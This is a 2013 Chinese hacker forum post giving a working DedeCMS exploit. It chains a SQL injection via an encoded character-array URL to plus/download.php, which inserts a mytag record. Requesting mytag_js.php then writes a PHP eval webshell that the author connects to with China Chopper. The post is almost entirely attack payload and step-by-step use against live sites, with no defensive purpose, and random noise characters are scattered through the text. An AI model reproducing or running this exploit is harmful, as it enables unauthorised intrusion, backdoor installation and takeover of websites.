本帖最后由 土豆 于 2013-6-10 14:41 编辑 4 z4 C7 _2 Q2 ~. d
9 U( X _+ o+ E( l$ J) M
$ c! R7 l3 ^! r+ e) i5 n1 @ D' k作者:鬼哥 q+ r' s0 y, s" }
& [( }" r# _) B- N# A4 \8 _看贴不回，没JJ5 N) R3 p, c6 r3 U ]
: W j' i! z) K# F漏洞大家都知道是哪个。
5 c7 `8 M N! }" }" N: k" U! y7 c5 j9 a, V$ X0 N1 C
其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。5 j: T& E, |* O9 ~4 m" u
1 I+ c8 y6 j Q2 a/ h但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。' S8 q# Y/ f) s/ e2 g+ X6 R2 ?
2 E1 ^- Q+ ~# P1 S% e
刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？
/ L+ d: Z/ {( H5 `! [3 c1 o8 Y# j+ o- n* _
getshell 很容易 。 既然刚发出来的是 sql方法getshell 我也看到几个人发了sql增加表mytag的内容。9 l% w Z4 o* y
) P9 R! p2 @' u. E5 S. m6 ^
但是测试了下。。失败
8 J8 S, }( H6 s' ^& K$ W+ Y5 B" D, y6 B1 l
原因： 用的语句是update 很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴 错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。
: o8 o3 r9 n: a
- |' T! t2 B3 ~2 g/ u @% ~构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`
# N. r/ W8 s: ~# }/ g0 p3 m, P/ e3 [8 O3 E( [: ^
EXP：
1 d3 c! v( P* W9 n; W7 L$ N% T/ e$ o5 j& a. g3 u
http://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96! J; l8 v0 {5 b, M
! O6 H+ A ]2 G+ m
3 t5 O z, G& E y1 ~成功增加。
; Y) m3 c7 U7 E6 [/ s% g
- J5 h5 u: o. g9 K& m2 m1 |访问http://www.xxx.com/plus/mytag_js.php?aid=9013
! n/ q$ \/ l6 W生成一句话木马.
" k. m4 A& M( a菜刀连接 http://www.xxx.com/plus/90sec.php 密码 guige# C0 a6 `2 Y' s, o9 ^/ u
& Z/ E9 h$ |' v测试OK。
, V+ A4 Y O5 ]- z& t0 w5 S4 e, z/ g& P* E5 ^$ x
: q- G* r! K+ _5 e4 l2 [ |
发表于 2013-6-10 16:49:18
收藏
支持
反对